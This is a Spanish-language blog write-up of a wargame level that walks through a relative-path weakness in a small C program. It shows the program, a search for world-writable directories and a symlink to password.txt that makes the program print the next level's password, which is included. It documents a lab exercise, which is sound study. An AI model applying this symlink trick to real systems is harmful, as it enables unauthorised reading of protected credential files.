Al loguearnos como level1 veremos el binario aceptacion_licencia y el fichero de texto gpl.txt. Si ejecutamos el binario veremos que lo que hace es mostrar el fichero gpl.txt. Al analizar el código fuente del programa vemos lo siguiente:
int main() {
char *args[] = {"/bin/more", "gpl.txt", (char *)0};
setresuid(1003, 1003);
printf("Pulsa una tecla para aceptar la licencia GPL...");
getchar();
execve("/bin/more", args);
}
Vemos que el fichero gpl.txt que se va a leer no tiene ruta absoluta... por lo tanto se leerá el fichero gpl.txt que haya en el path donde esté cuando ejecute el binario }:).
Hacemos lo siguiente:
$ find / -type d -perm -0002 2>/dev/null
/var/lock
/var/tmp
/dev/shm
$ cd /var/tmp
$ ln -s /home/level1/password.txt gpl.txt
$ /home/level1/aceptacion_licencia
Pulsa una tecla para aceptar la licencia GPL...
qe!U_~!;Eu37]YN
Y ya tenemos la contraseña de level2. Lo que hemos hecho es buscar un directorio donde tengamos permisos de escritura (por ejemplo /var/tmp), y luego creamos allí un enlace simbólico al fichero password.txt que queremos leer... ese enlace se llamará gpl.txt. Luego a la hora de ejecutar el binario (estando situado en /var/tmp, donde hay un fichero gpl.txt que es un enlace a password.txt), este leerá el fichero gpl.txt desde donde estamos ejecutando, por lo que leerá el enlace simbólico, que lo llevará hasta el fichero password.txt y nos lo imprimirá en pantalla.
Puedes bajarte el pdf aquí.
No hay comentarios:
Publicar un comentario